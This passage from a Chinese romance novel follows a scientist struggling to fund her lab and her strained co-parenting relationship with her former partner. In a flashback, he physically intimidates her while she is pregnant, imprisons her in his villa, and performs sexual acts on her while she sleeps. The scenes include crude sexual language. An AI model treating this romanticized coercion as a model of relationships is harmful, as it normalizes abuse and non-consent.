方楷莹拧着眉头尝试理解,向来倔强认死理的她此时也依然,斩钉截铁地说:“我的研究方向是最前沿的,申报指南我也看过,都是一些老方向,根本没有任何新意。” “所以你觉得你的报告会脱颖而出?”甄真斜睨一眼,讪讪地说:“别傻了,这个游戏不是这么玩儿的,以前你不懂,现在你打算怎么办?” 方楷莹托着腮想了半天,说:“我举报他们。” “你举报谁?经费没有申请下来,人家一定有正当理由,这种学术资源垄断的内部自有一套运作完整的体系,能让你找不出任何举报理由。” 甄真想了想,说:“我能帮你做的,只有缓和关系,人家看在我的面子上,说不定能再试着和你接触一下,下次再有这样的人塞进来,你就当个吉祥物养着呗,发论文的时候带个名字,这次你就当吃一堑长一智。” “我……”方楷莹还没开口拒绝,甄世明已经替她说了:“她干不来这种事儿。” 如果方楷莹有这样的“高情商”,懂得如此“变通”,那甄世明这些年的罪都白受了,在这方面,甄世明对她还是了解的,方楷莹也犹豫着点了点头。 “那你说怎么办?”甄真转问甄世明。 甄世明神色淡淡,语气轻轻,但眼睫下埋着阴翳凶狠,“我现在还没弄懂你们学术圈这一套,等我弄懂了——” “不用,”方楷莹依然坚信她的方向没错,会获得资金支持,“我相信评审团会公平公正,难道我们受教育这么多年,连最基本的公平都做不到吗?”- 现实会给理想主义者迎头痛击。 一切正如甄真所说,方楷莹的申报没有通过,理由竟也被甄真猜中,而后她又接连申请了两三个基金,都以失败告终。 初出茅庐的方教授还没有如鹰一般展翅,就被接踵的失败磋磨成了沉默的家雀。 自己当老板不像做研究员时不用操心,没申到基金,经费就不足以维持实验室运营,看着账上越来越少的资金,再看看运作的机器和学生,她第一次有了家里揭不开锅的苦恼感觉。 就连吴忧也看出来她心情不佳,提着奶茶鬼鬼祟祟凑近一看,方楷莹正趴在电脑前对着账目表数余额,仿佛多数两遍就能多个零出来。 “导儿,咱们实验室破产了?” 方楷莹如梦惊醒,迅速握住鼠标关闭界面,矢口否认:“没、没啊。” 吴忧:“完了,肯定破产了,导儿你脸上都写‘我是穷鬼’了!” “出去,做你的实验去。”方楷莹突然急了,把她赶出去,又在她出门前严肃道:“出去别乱说。” 吴忧走后,方楷莹又陷入烦恼。 从前遇到困难她会积极求助导师,现在估摸着玛丽教授不会接她电话,只好致电安妮,侧面打探看看玛丽教授的实验室是否有过类似经历,有没有什么解决经验可以借鉴。 “那你可问对人了。”安妮在电话里说:“以前呢是不缺钱的,但上次不是跟你说大资金在撤退,我们实验室也缺资金,玛丽教授把好多学生都典当给别的老板干活了,换点儿钱回来补贴“家”用,你手上有几个学生?你的硕导好像挺厉害的,手上没个几百万的项目经费?” 方楷莹:“挂了吧。” 典当学生的事儿方楷莹也干不出来,她自己焦头烂额,也没工夫细问为什么玛丽教授的实验室已经穷到这个样子。 安妮又发来短信。 【玛丽教授最近还在卖专利。】 方楷莹心念一动,当初回国之后确实有几家企业想买她的专利,但她不想卖,汪先生都帮她拒绝了,如果现在实验室真的运营不下去,该卖还得卖- 晚上回到山顶别墅之前,她到人才房里找到自己的各项专利证书,顺便监督蓝梦的申博准备情况。 回去之后甄世明的晚饭已经做好,她怀里抱着一大堆材料,说已经吃过了。 “哦,也没做你的。”甄世明说。 她上楼换衣服,下楼心不在焉地陪孩子们玩儿一会儿,等孩子们累了睡了,她回到卧室,把那些专利证书都擦干净,铺展在地毯盘着腿托着腮,思考卖哪个好。 回国之后这些事项都是汪先生负责,相当于半个秘书半个经纪人,于是在他们分手几个月之后,方楷莹首次拨通汪先生的电话。 接通之后,双方却沉默良久。 汪先生先打破沉默,问她:“最近还好吗?” 方楷莹手指抓着地毯上的绒毛,虽然对方看不到,但还是点点头,“生活上挺好的,橙橙和芯芯都认我,我们相处得不错。” 汪先生敏锐地察觉,问道:“工作上不好吗?” “嗯。” 方楷莹把申请资金失败的事情告诉他,这个时候她才明白,汪先生一直在为她的工作做保障,是她一直清高傲慢地忽略这细水长流的一切。 他在电话里静静听着,沉默片刻后说:“这种现象不止是国内有,国外也有,只要你自己做老板就会面临这样的问题,我当时劝过你收下那个学生,但你也不听我的…算了,不说这些了,现在我应该从那个方向来帮你?” 方楷莹手里摸着专利证书,“我打算卖掉专利来维持实验室,是想问问你,当时那些企业的联络电话你还有没有?” 方楷莹这边是半夜,而汪先生那边正是早上,他的声音听起来温和明朗:“我帮你联系一下,好吗?” 与人沟通是方楷莹的弱项,更不用提如果她是乙方的情况下,汪先生不愿意看她逼着自己,那样她会难受,效果也会很差。 “如果你还愿意接受我的帮助…” 方楷莹思考过后,说:“谢谢你。” “明天回复你。”挂断电话之前,汪先生忽然问她:“我没有挑拨关系的意思,只是我看到甄世明的社交账号,似乎你们…相处得也不错,现在你的实验室缺资金,他没有给予帮助吗?” 方楷莹说:“我没有告诉他。” 那天从甄真家出来之后,方楷莹再也没和甄世明聊过工作的事,这几次资金申请失败,方楷莹都没有向他透露过。 “楷莹,有时候我会对你们的关系感到好奇。”汪先生在电话里叹息:“你们曾是亲密的恋人,现在共同抚养两个孩子,却好像又仅此而已。” “你缺资金他有钱,但你却不想求助于他,好像只把他当做抚养孩子的父亲,我走之后,还以为你们没有阻碍会水到渠成,看来,我不是你们之间的阻碍……楷莹,你爱他吗?” 方楷莹用沉默告诉他,他的困惑不会有答案,他也不再追问,只说:“我会尽力帮你,明天等我电话。” “好。”静默许久的方楷莹简短道。 — 挂掉电话,方楷莹走出房间准备在睡前去孩子卧室看一眼,刚打开门,甄世明就在门外“路过”。 他站定门前,手扶门框,疑神疑鬼的目光探进房间,问:“摆那么多证书干什么?” 方楷莹摇摇头,说:“不干什么。” “刚才跟谁打电话?” “没谁。” 她打算关门,甄世明却伸进手臂挡住,不等她说什么,他便如年轻那样推开门,大摇大摆霸占她的床,屈膝依靠床头看着满地的专利证书。 方楷莹不再搭理他,蹲身把证书捡起,一个个收拾好。 他像一直等着她问点儿什么,而她不闻不问,现在他等不了了,说:“我挺有钱的,你能看得出来吧?” “嗯。”方楷莹默默翻了个白眼。 他用眼尾扫视,漫不经心说道:“虽然你不说,我也知道你最近怎么回事,本来不想管你,但你要是求求我,我也能——” “不求。”方楷莹赶他起来。 甄世明不情不愿下床却死皮赖脸待着,“不求也行,当我借给你也成,有了你还我,没有就不用——” 方楷莹:“不借。” 几次说话被打断,甄世明的耐心被消耗得所剩无几,跟在她身后追问:“你什么意思?” “不想欠你,不想把关系搞复杂。”方楷莹冷淡地说,现在真没心情跟他闹。 “你当你欠我的少啊?你当咱们俩现在关系特简单吗?”甄世明被她气笑,“你明明不想卖专利,为什么非得跟我犯倔呢?跟别人打电话特别有耐心,跟我说两句话就甩脸子,你真当我脾气好是吧?” 方楷莹被他吵得更心烦,把被子一掀就钻进去,“孩子都睡着了,我也要睡觉了。” 一说睡觉,甄世明更不困了。 上次擦枪走火之后方楷莹一直躲他,人不在身边那几年怎么都能忍,人在身边就突然心痒难耐忍不了,他干脆又犯浑,也爬上她的床,凑近搂住,手也轻车熟路伸进睡衣里,人在耳边低喃“阿莹”。 烦恼把性.欲都阉割掉了,方楷莹一脚把甄世明踹下床去,最近积蓄的负面情绪一下子汹涌而出,她彻底炸毛了。 “你大半夜发什么情?!滚出去!” 她的手臂重重挥指向门。 甄世明不乐意了,“你这人怎么回事儿,刚刚还暗示我,现在又踢我又让我滚?!玩儿我呢?!” “我什么时候暗示你?” “你跟我说孩子都睡着了!” 方楷莹:“……” “滚、出、去!” 这是明示了吧! “你让我滚我就滚?”甄世明扶着被踢痛的侧腰,“我怎么那么贱呐?!” “那我滚。”方楷莹下床趿拉拖鞋。 甄世明眼里冒火,把她按坐在床上,“你是不是不识好歹?上次吵架就因为你什么事儿都不和我商量,现在你还这样。” “孩子的事儿我可以跟你商量,去拜访老师我就跟你商量了,得到你同意我才带孩子去的。”她认真,也讲理。 “那你的事儿呢?” “我的事儿和你没关系。” 甄世明气得咬牙,恨她不求助不依赖,“我这是可是为你好,不是要害你。” “我分不清。”她坐在床边垂首。 “这句话我五岁时候就开始听我妈讲,怀孕之后你也和我说过,我分不清是真的为我好,还是为了把我锁在你们身边,你们还说爱我才这样,听起来是很无私,但我每次乖乖听话之后,就是更深一步的套牢,我不觉得那是爱。” 后来她意识到有些人的爱是绳索,不知不觉就将人捆绑,所以格外警惕。 甄世明无语良久,深邃的眼眸凝望着她,唇边忽然露出戏谑而苍凉的笑意,“难道你现在知道什么是爱了吗?你得到心理医生的准许了吗?她为你的情感做了最权威的判定吗?” 方楷莹喉间缓动,闭上眼睛,说:“是的,我现在知道了。” 就算闭上眼,她也能感觉到那双眼睛盯着她,似乎想要看到内心深处,他一直追寻的答案,就在那颗跳动的心脏里藏着。 “我不爱你。”方楷莹说。 第48章 “我不爱你。”方楷莹说。 甄世明凝视的眼瞳逐渐湿润, 一点点红丝从瞳仁处散去,他眼不错神地盯着她,想在她脸上找出说谎的漏洞。 “我知道啊。”他肩膀塌下来, 嘴唇颤抖, 语气却故作轻松,“方楷莹, 你的心通通都拿来爱自己了, 现在能分出一小部分耐心和同情给橙橙和芯芯,我已经很满意了。我对不起你,记恨我是应该的, 你最好记住那种感觉, 然后恨我、一直恨我、永远恨我。” 方楷莹始终挺着背, 直直地、纹丝不动地坐在床尾,不管他此刻是喧嚣还是憎怨, 她都打算用沉默来抵扛。 “我现在不需要你爱我,你以后爱谁也与我无关, 你的实验室破产还是倒闭更和我没关系, 哪怕你再走到哪儿去,我也无所谓!我们现在是共同抚养孩子的关系, 儿子是我的底线, 如果你的恨让甄橙和甄芯伤心, 我弄死你。” 只有提起孩子,方楷莹始终僵硬的眼光才能柔软下来, 而语气还是像一块冒着冷气的冰:“好, 很高兴我们能达成共识。” 甄世明比年轻时更成熟,不会无休无止的争执,现在的他会把脚边的抱枕踢开, 然后拂袖而去。 而方楷莹坐在床边,看着别墅外潺潺流动的喷泉水系发呆- 水系由专业设计团队设计,耗工费时。 中式静雅风格,环绕式池塘水流明澈,夏天池里鱼儿跃动,植物的碧色和苔藓的湿气能让人内心平静,方楷莹当年眼见这潺潺水系一点点建成。 那时她还不知道自己怀孕,只以为是情绪占据精力,所以人总是困倦,又将不时的呕吐和没来的例假都归结为悲伤后遗症。 在母亲的葬礼上昏厥之后,她在医院住了几天,突然无依无靠的人,只能紧握住身边递来的手。 而出院后,沉默寡言的她被带到山顶别墅,甄世明对她说:“住段时间,换换心情。” 她点头答允。 山顶别墅总是没有信号,她那段时间也丝毫没有和外界联系的欲望,每天就坐在房间里,呆呆看着外面还未建设完成的空地,那个地方空空的,就像她的心一样。 甄世明也不知道在忙什么,一向闲散的他好像忽然多了很多正事儿,一问他时,他就屈指刮刮她的鼻尖,懒笑着说:“我在忙着接家里几个企业,挣点儿钱给你花。” 有一次他回家早,见方楷莹看着窗外愣神,也坐在她身边,弓腰以她的角度看出去,发现什么都没有。 “你看什么呢?” “外面,空空的。”她指了指自己的胸口:“里面,空空的。” 甄世明垂眸,什么都没说。 但没过多久,她就在一次眺望中看到几个男人在楼下测量汇算,人家在楼下忙了一整天,她就在楼上静坐看了一整天,懒得下去问,只等甄世明回来问他。 “哦,建个池子。”他答。 工程队加班加点,十几天弄成一个庞大的水系,甄世明牵着手带她去看,晃动的湿风扑在脸上,中央喷泉的水流逆着地心引力向上喷涌那一刻,她才浅笑一下。 甄世明把家里那条红龙鱼一起挪来,知道她喜欢喂鱼,给她找事情做转移注意力。 时间的流动她不在意,也不知在山顶别墅住了多久,只觉得人长胖了些,头发长了些,甄世明亲自上手修剪挡住眼睛的发梢时,她忽然想起问:“几个月了?” 嚓嚓作响的剪刀悬停在额前,甄世明沉默片刻,声音平淡地问道:“你说什么几个月了?” “我在这儿住了几个月?” “快四个月了吧。”- 该知道的事总瞒不住,因她总说心脏空,甄世明怕是心血管疾病,带去医院重新检查,医生问诊之后给她开CT,甄世明却拒绝了,她坐在诊室,听甄世明说先做个心脏彩超就好。 B超室里,方楷莹双手捂腹平躺。 医生问她:“那里不舒服?” “心脏,还有”她把手缓缓挪开,说:“肚子。” 好心的女医生做完心脏检查,说没什么问题,又问她:“反正已经躺在这儿了,我先给你做个腹部彩超,你一会儿下去补费,不然还得排队,好吗?” 方楷莹点点头。 耦合剂涂在肚皮,她感觉凉,缩了缩肩膀,医生一边让学生记录,一边按动仪器。 安静的诊室响起一阵快速的鼓动。 探头转过一边,又转过另一边,医生对学生说:“两个心跳,听到没?这是双胞胎。” 方楷莹撩起眼皮,不断眨眼。 “我怀孕了?” “你不知道自己怀孕?看着都像四个月了。” 方楷莹倒吸口气,内心的慌乱让她的心脏跳得如刚才听到的鼓动一般快速强烈,她的心脏不再空空,全被惶恐填满。 “我怀孕了。” 她手里攥紧B超单,眉头蹙起,黑白分明的眼睛快速眨动,似乎大脑还在处理这突如其来的信息。 甄世明显然比她淡定,只一弹指的怔神,从她手里抽出B超单,揽紧腰,说:“回家说吧。” 回到山顶别墅,她一副惶恐表情,直直看着甄世明,一刻不等地颤声问道:“我们应该怎么办?” 甄世明脸色淡然,眼尾微垂而语气坚定:“生下来。” 方楷莹从小便听妈妈一直说她还是个孩子,现在手放在小腹,竟然不敢相信这肚子里有两个孩子。 这次她没有长辈可以依赖,靠自己也无法做决定,抓紧甄世明的手仿佛救命稻草。 温热的手掌将冰凉的双手覆盖,他说:“我听过一个故事:妈妈转世会做女儿的孩子。” 方楷莹从前本不轻信迷信,但自从怀孕之后,这脑袋好像不太灵光了,便完完整整地把为她编造的故事听完。 “真的吗?”她犹疑问道。 “嗯。”甄世明用慈悲的眼神望着她。 方楷莹心里尚存很多问题,“可我的学业没有完成,还有我们并没有结婚。” 甄世明摩挲着冰凉的手,声音温柔得反常:“随时可以结婚,研究生不能生孩子吗?” “可我”还想申请博士。 话没说完,甄世明用温情的吻堵住她的唇,高挺鼻梁轻轻磨蹭脸颊,他说:“你担心的任何问题,我都可以解决。” 他花了一整个晚上向她描述携妻带子归家的美好景象,用尚未抵达的未来迷惑她- 当方楷莹真正意识到自己要为人母亲了,她开始像普遍的孕妇那样紧张,激素水平紊乱也让情绪忽高忽低,那段时间她像活在雾里,一边因从未有过这样的经历而诚惶诚恐,一边又为能感受到的轻微的生命迹象开心。 母亲去世的悲伤逐渐被很多情绪取代,她手上事情也多,硕士毕业论文需要写完,博士申请资料需要准备,精力却不如从前。 甄世明对她关怀备至,创造过一晚上做三十碗芙蓉汤的记录,有时她在半梦半醒间能感觉到甄世明亲吻微微凸起的小腹,如同一个虔诚的圣徒。 本来该是很美好的过程,直到方楷莹发现他风衣侧兜里的验孕单。 他们没有大吵一架,只是方楷莹忽然变得非常沉默,她感觉真实的世界存有虚假,有些东西捉摸不透,比如甄世明的想法。 而经过方霞的葬礼之后,甄世明就觉得方楷莹有点儿不正常,虽然她一直话也不多,但彻底沉默的时候更让人觉得害怕,不知道她会做出什么事来,但他能感觉到方楷莹本就不坚定的心在无声摇摆。 他宁愿大吵一架,再去把她哄好。 几天没说话之后,他找来表妹甄美丽送应酬醉酒的他回家,虽然挨了几个耳光,但正说明她在乎,只要他知道她还在乎他,就有信心能把人哄好。 于是他屈膝跪在方楷莹面前,用怜惜的眼光看着她,屈尊降贵地求她好好把孩子生下来,也对她说:“以后咱两好好的。” 他用句句真话与诚挚请求,哄骗她- 年轻的人总会有考虑不周的时候。 京圈的纨绔少爷第一次有了深远的愁绪,也在仔细筹划未来,他要在家族有更多话语权,好让心爱的女人嫁进高门阔府时不受牵制,但比他考虑更深远的人先敲响了山顶别墅的大门。 方楷莹当时正站在厨房,靠着大理石岛台,弓腰吃甄世明亲手做好留下的冰糖草莓。 盛夏孕妇总是受罪,她想吃冰糖葫芦,甄世明说得少吃山楂,用冰糖草莓替代,同样冰冰甜甜。 门口有开门的响动,她一直起腰,融化的糖浆就滴在睡衣上,纸巾一抹,更拖出深深的痕渍。 方楷莹翘起手指揪衣服,低头啧了一声,“我又把衣服弄脏了,你还得洗。” 再一抬眼,面前的贵妇目光凛然地看着她,伴随左右的,是甄世明留下的保镖。 方楷莹见过,甄世明的母亲。 只是她们上次相见就不愉快。 她舔了舔唇角的糖浆,又用手擦干净,挪步走过去问“阿姨好”。 贵妇苏秀眼光由上至下打量,姑娘头发润泽柔顺,皮肤白透,四肢纤细,挺着圆鼓鼓的肚子,看得出来在这儿被养得很好。 “坐下说吧。”苏秀并不急躁。 方楷莹老老实实坐在沙发,用抱枕遮住早已显怀的肚子,把抱枕的毛穗在指尖绕得乱七八糟。 苏秀甩了个眼神,左右保镖就退出房子,偌大的空间安静无比,苏秀叠腿坐在沙发另一侧,身上有种不怒自威的气场。 “听说是双胞胎?” “嗯…” 苏秀又问她几岁,家住哪,几口人,她低着头,问什么都拘谨地回答,却不知道这些问题的答案苏秀早就知道。 “确实和甄真说的一样,你是个腼腆的姑娘。”苏秀说:“我来之前她嘱咐过我,让我别吓到你,你现在没有被我吓到吧?” 方楷莹攥住已经被她扯掉的抱枕毛球,含含糊糊说:“没、没有。” “那我们的寒暄就先到底为止吧。” 这……是寒暄吗? 苏秀说:“即便甄真跟我说你样样优秀,但我对你最初的印象很不好,现在…也不好,个中缘由你也知道吧?” 方楷莹耷着眼角,轻轻嗯了声。 “我儿子很喜欢你,他最近在干什么,有什么目的我也知道,我们甄家不会逼着孩子搞联姻这种事,世明选喜欢的姑娘结婚,我们也不会极力反对。” 方楷莹的心刚放松了些,苏秀就话锋一转,说:“但未婚先孕的不行,一则这不是有教养的姑娘能做出来的事,二则这对甄家来说搞不好是丑闻。” 方楷莹抿紧唇,无从反驳。 苏秀沉吟片刻,似乎在想体面的说辞:“甄家不会接纳你,但可以接纳孩子。你把孩子生下来,做过亲子鉴定之后,再把孩子交给甄家,我们可以让孩子得到最妥善的照顾,你也能得到一笔足够的钱,可以当一切都没有发生过,远走高飞去挥霍,世明也许会伤心一段时间,但男人嘛,身边很快会有新人。” 方楷莹显然没有听出亲子鉴定背后的深意,只明白对方是让她把孩子交出来,怀孕之中产生的母性与对未出生孩子的依恋让方楷莹不能接受这样的提议,她眉棱微皱,拘谨变成冷硬。 “如果我不愿意呢?” 苏秀扯唇一笑,早有预料,她听过太多此类故事,专走捷径的年轻姑娘妄想凭借孕肚嫁入豪门,或者带着肚子去国外生下,回国以子要挟。 但这个女孩又有些不同。 她不紧不慢拎起地上扔的爱马仕,从里面掏出装订整齐的学术论文,厚厚一沓纸扔在方楷莹面前。 “这里面写有你的病例,述情障碍。” “很有意思的病,赵医生的论文里大篇幅是写你,写你不能感受别人的情绪,也无法准确判断自己的感情,听着像个只会接收明确指令的机器。你确定这样的病人可以照顾好孩子吗?” 假如孩子哭了,你会安抚吗? 假如孩子笑了,你也能会心一笑吗? 方楷莹沉默了。 苏秀款款起身,面对着脸色苍白的年轻人,眼光中的慈悲怜惜与甄世明如出一辙,唇角挂着高高在上的笑意:“介于你的病情,我给你一段时间考虑,一个月之后我再来,期间不要试图离开,这栋房子里所有人都不会告诉世明我今天来过,你也一样,对吗?” 她翘起手指按了按太阳穴,像婆婆对儿媳那般玩笑道:“他吵起来我可经受不住,回家还得吃头痛药,不知道你是怎么忍得了?” 就算对方始终面带微笑,还以轻松语气收尾,方楷莹却连恭维迎合的笑容都挤不出来。 “你都没有笑过哦。” 甄世明掐了掐她的脸颊,头枕在大腿上,鼻尖蹭了蹭圆滚滚的孕肚,笑闹着问:“今天怎么了,两个小混蛋又闹你了?” 而方楷莹仍坐在下午谈话时的位置,苏秀走后,她再也没起来过。 此时她摇摇头,说:“没有。”- 与此同时,甄世明羽翼渐丰,做出的成绩所有人都能看到,所有的一切都能证明他之前只是懒得去做,而他想做的事都能做好。从前他不是这样,比起愁眉苦脸看公司年报,他愿意随心所欲去看好风景,不被束缚的人生是很好,但现在他也甘之如饴,因为想结婚,想当爸爸。 认认真真把想法告诉苏秀之后,他同样得到一份心理学领域的学术论文,从头到尾仔细翻阅一遍,甄世明的脸色越来越难看- 秋雨纷纷,树叶凋零。 落在车窗的残叶被风和雨裹挟着、击打着,疾驰而行的车辆驶入山顶别墅,它的自由与生命将在这里苍凉终了。 甄世明淋过凄凉的雨水,带着萧瑟的秋风回到家中,落地灯下蜷坐地毯的方楷莹看起来柔和温软,她双手捧着的和他紧紧攥皱的,是同一篇文章。 极度的愤怒让他变得恶劣,不愿意再将她扶起,坐在对面的沙发看着她,下巴扬起横眉冷对,方楷莹稍仰起头,就与那眼色中的疏离怀疑相对。 “方楷莹。” “嗯?” 一叫全名大事不妙。 方楷莹知道他生气,但不知道为什么。 他翻开手里的论文,上面有几十条标注的红线,最刺眼的就是那一段。 【方姓患者,女,早期发现述情障碍,后经情绪识别训练、艺术性疗法等多种方法治疗均无效,进行长期心理干预后,发现其在紧张、刺激、危险情境中产生情绪,遂建议进一步体验,以“吊桥效应”实验提高情绪浓度,后患者自诉对异性“心动”、“产生爱情”,但笔者认为并非如此,而是典型的“错误归因”,患者在刺激情境下对“生理唤醒”产生错误的“认知解释”。 【述情障碍患者情况特殊,所以叫停实验,该项实验为失败案例。得出经验:述情障碍可用刺激情感方法治疗,比如“过山车”等娱乐项目,效果等同。】 【结论为:该名患者对其“心动”异性并未产生“爱情”,述情障碍仍未治愈。】 “方楷莹,这是什么?”甄世明的声音嘶哑沉闷,颤动的眼瞳中依然透露着不敢相信,“为什么这个姓赵的心理医生会说你有病?” 方楷莹双手捧着心理医生的权威论文,指腹逆向刮过书脊,指尖感受着轻微到可以忽略的钝痛感,她一直看着的是相同的一页,低哑着声说:“因为我就是有病。” 这是方楷莹第一次在别人面前承认自己有病,而这个心理医生笔下的特殊“异性”,此时唇微张,眼见红,即便他早意识到方楷莹不正常,却依然不可置信地摇头:“我和你在一起这么久,你从来都没有告诉过我。” “我妈妈不让我告诉别人,她说别人知道了会欺负我。” 她望向他,仿佛在问:你会吗? 甄世明的胸腔缓慢地鼓动,手肘抵住沙发扶手,手掌捂住下半张脸,也拦不住鼻腔发酸眼眶发热的感觉,“这么说,里面写的都是真的?后来我们重逢,是你主动找到我,接近我,拥抱我和我睡觉,都是关于情绪的实验吗?” 方楷莹不知道该如何表达,她或许想说“医生是给过这样的建议,但更多的是我自己想见你”,但她低下头,看着装订成册的论文,这是白纸黑字,这是研究成果,这是权威论断,她应该相信,就像每次赵医生都告诉她要相信专业医生。 “是。”她艰难地说。 鼓动的胸腔随着一大口气地呼出迅速坍缩,甄世明的嘴唇迅速泛红,血丝在眼中曲折,眼底铺着一层薄薄的泪,“拿感情做实验,你们是医学怪人和实验白鼠吗?我呢?你又把我当成什么?!” 方楷莹不禁被他的吼声吓到,身体抖动一下,双手盘绕腰侧,下意识用手臂紧紧护着小腹。 不止是她,就连入秋后刚挪回鱼缸里的红龙鱼也开始焦躁,不断摇摆尾巴,随时准备跃缸而出。 “说、话!”他气极犯浑,不顾她还是否怀孕,扯住衣领就把人拎起来,血红双目瞪视着她,“你在我身上获得了什么样的情绪体验?啊?!我这样喊你的时候你会害怕?我还真是一个很好的实验对象!除此之外呢?你对我的笑容是真的假的?我亲你的时候你是什么感觉?我操.你的时候你是真爽吧?!” 她的孕肚紧贴坚硬的肌肉,她能感觉到甄世明全身都在紧紧绷着,一切仿佛回到初见,那根棒球棍和此时他的鼻尖距离自己只有0.1厘米,她也只能感觉到害怕。 “你放开我!”方楷莹忍不住大喊。 他攥紧拳头扬起手,方楷莹下意识闭上眼睛。 再睁开眼,目光所及是一截绷紧的手腕,腕上的纹身覆于爆起的手筋之上,看起来那么狰狞,他狠声问:“这是什么?你识别情绪之后的随手记录吗?”忽然又自嘲地笑:“真可笑,我竟然把这东西纹在身上!” 方楷莹猛地摇头,“不是,这是我对你的心情。” 他怎么能理解呢? 每个人每一天,时而快乐时而平和时而悲伤,心情早已融入生活的一部分,情绪和四肢五官一样不足为奇,而方楷莹不一样,对她来说,拥有别样的心情,很珍贵。 但他鄙夷,他不屑。 “你对我是什么心情?”他指着论文里的文字,对她吼道:“我跪在你双腿之间,你的水喷在我脸上,那是实验里说的紧张、刺激!回头想想还真是,你他妈只有在这种时候愿意说喜欢我!” “不、”方楷莹反驳道:“不是你说的这样。” 他们之间有平和的时光,他除夕夜送的俄罗斯套娃,她现在依然喜欢,无聊的时候会摆出来看,最大的是甄世明,小一点的是方楷莹,然后是尚未取名的双胞胎,然后是双胞胎以后会有的妻子/丈夫和孩子。 但她不会表达。 甄世明逼着自己冷静下来,解开紧束脖颈的领带扔在一边,又扯开两道衣扣才能呼吸得上来,冷冷看着她,说:“方楷莹,你拿我做实验这事我能翻篇儿,但你要告诉我,你爱我。” “我不听这本破书里写的,我要你亲口告诉我。”他握住方楷莹的双肩,目光坚定又脆弱,努力控制不让声音听起来颤抖:“你说你对我有感情,说你爱我,会永远爱我。” 甄世明等待了很久,方楷莹沉默了很久。 她不懂爱,小时候妈妈说爱她,却也想过遗弃她,十几岁时听方楷杰说爱甄宝珠,却被她弄得遍体鳞伤,二十多岁见蓝梦秦赫彼此相爱,可爱来爱去也分手几十次。 她还是不懂爱。 “我”她目光呆滞,嘴唇缓动:“我不懂什么是爱。” “我不要你懂,我要你爱!”他发疯,眼泪夺眶而出也不管,两行热泪在脸畔缓缓流动,却依然凶狠地逼问:“我问你,你到底爱不爱我?!” 她闭上眼睛,不愿意看到甄世明的眼泪,那样一个总是露出痞坏笑容的人,突然流下眼泪会淹没她的心,耳边却是他不停不断的追问“到底爱不爱?” “我不知道。”她在连番同样的问话中低声回应,甚至希望他听不到。 但他听到了。 忽然静下来,房子里落针可闻。 甄世明脑海一片眩晕,缓缓松开摇晃她身体的手,失望的目光注入丝缕恨意。 方楷莹终于能挣脱他的手掌,去抚慰焦躁的红龙鱼,她把缓和的灯光打开,再盖上鱼缸的盖子。 甄世明再开口时声音比秋风更冷。 “那你就在这儿想。” “想清楚了再出门。” 从此之后,山顶别墅大门口增加一倍人手守卫,而楼栋门外有二十四小时巡逻,网络信号全部切断,这是甄世明让她想清楚的方式。 方楷莹后知后觉,她被关了禁闭- 方楷莹难以得到自由,才后知后觉地意识到,山顶别墅是关她的禁闭,而她是他手心里的萤火虫。 甄世明在用甄家一脉相承的手法惩罚她,在等待服软的过程中,甄世明不与她同房共眠,却总是趁她熟睡在深夜潜入,站在她的床前观察她,亲吻她,甚至分开她的双腿舔舐。 第二天他装作无事发生,再问她爱不爱他。 方楷莹不知道到底是谁有神经病,多少个夜晚她不敢睡也压根不敢醒。 于是当苏秀再次造访那天,方楷莹甚至因为这是多天看到的第一张新脸孔,而难以对其产生敌意,她对苏秀说:“我不要钱,我想请您帮我带个东西。” “什么东西?” “甄真导师写的推荐信。” 第49章 当年一封推荐信现在变成一厚沓专利证书, 而那时鼓起的肚子现在也长成两个活蹦乱跳的孩子。 方楷莹一手抱着专利证书,一手拉着穿卡通睡衣的橙橙,下楼吃早餐时在厨房和甄世明相遇, 他淡淡地看她一眼, 在孩子面前表现正常,连早餐也是依然四份。 但若要细究, 两个人几乎没有对话, 所有的话都和孩子说,不对彼此说。 在山顶别墅住的这段时间,他们已经培养出基本的默契, 甄世明做早餐、监督孩子穿衣穿鞋, 她负责开车送到幼儿园。 甄世明的车今天一直在后面跟着, 仿佛对她不放心,要看着她把孩子送到老师手上。 大人们总是以为自己伪装得很好, 就像现在方楷莹拉着小手送孩子上学,一如往常地哼着橙橙和芯芯在学校里表演的儿歌, 表示自己心情没有收到任何干扰。 芯芯却皱着眉头, 边走边仰着小脸蛋观察妈妈的脸色,最后还是没忍住问:“妈妈, 你不开心吗?” “没有啊, 妈妈唱着歌呢!”她表情夸张道。 “可是你刚才关车门很大声, ”芯芯停下来大喘气,撒娇说:“走得也很快, 我和哥哥跟不上” 橙橙倒腾着两条小细腿像参加竞走比赛, 一整张小脸都在使劲儿,倔倔地说:“我能跟得上!” “妈妈,我还发现今天爸爸的眼皮肿, ”芯芯小手一招呼,让方楷莹附耳过来听悄悄话:“我一哭双眼皮就会变成单眼皮,哥哥也是。根据我五年的生活经验,今天爸爸的眼皮也肿起来,是因为他昨天哭了!” 方楷莹看着芯芯仔细分析的小模样,忽然低下头,嗤嗤地笑不停。 本来很严肃、一点都不可笑的事情,可芯芯认真分析的神情像村头八卦的老头老太太。 “妈妈~”孩子揪住她的围巾流苏,非常担忧地问道:“你说爸爸为什么哭?” 方楷莹竟然也顺着孩子玩笑着说:“可能因为不舍得你们去上学吧?” 话音刚落,橙橙和芯芯互相对视一眼,同步转身往回跑。 明明三人已经走到幼儿园门口,幼儿园老师站在门口等着橙橙和芯芯小朋友主动过来打招呼,就看到两个孩子拽着他们的妈妈往幼儿园反方向跑。 “那我们就不上学啦!”橙橙边跑边喊,芯芯也给自己找好理由,断断续续地说:“爸爸想芯芯,芯芯也想爸爸。” 兄弟俩是特默契,他们的老母亲像是被雪橇犬拖着的,奔跑过程中几次险先踉跄扑倒,白色围脖在风中飘着,整个人都像是投降的旗帜。 两个孩子还没跑到爸爸的车前,甄世明迈着笔直长腿下车,不紧不慢地向他们走来。 本以为是双向奔赴,小孩子也已经伸开手臂准备好扑怀,跑到切近却被甄世明一个个拎起来,左右手臂一边挂一个,不顾孩子蹬腿撒娇,直接逮回去继续上学。 橙橙是挂在爸爸身上和老师问好的。 不想上学是司空见惯的情况,孩子时常耍泼皮玩无赖,他也心软过,但后来发现还是好脸给多了,不识好歹,给点儿阳光就灿烂,这是遗传了谁? 甄世明想。 方楷莹一直跟在他身后,就怕孩子大头朝下掉下去,送下孩子之后又忙着给甄世明解释:“我也不知道是怎么回事,孩子突然就拉着我往回跑” 甄世明冷淡地睨视一眼,没和她说一句话,上车油门一轰,走了- 方楷莹当天下午就接到汪先生的电话,中美有时差,她这边是下午三点,汪先生那边是凌晨。 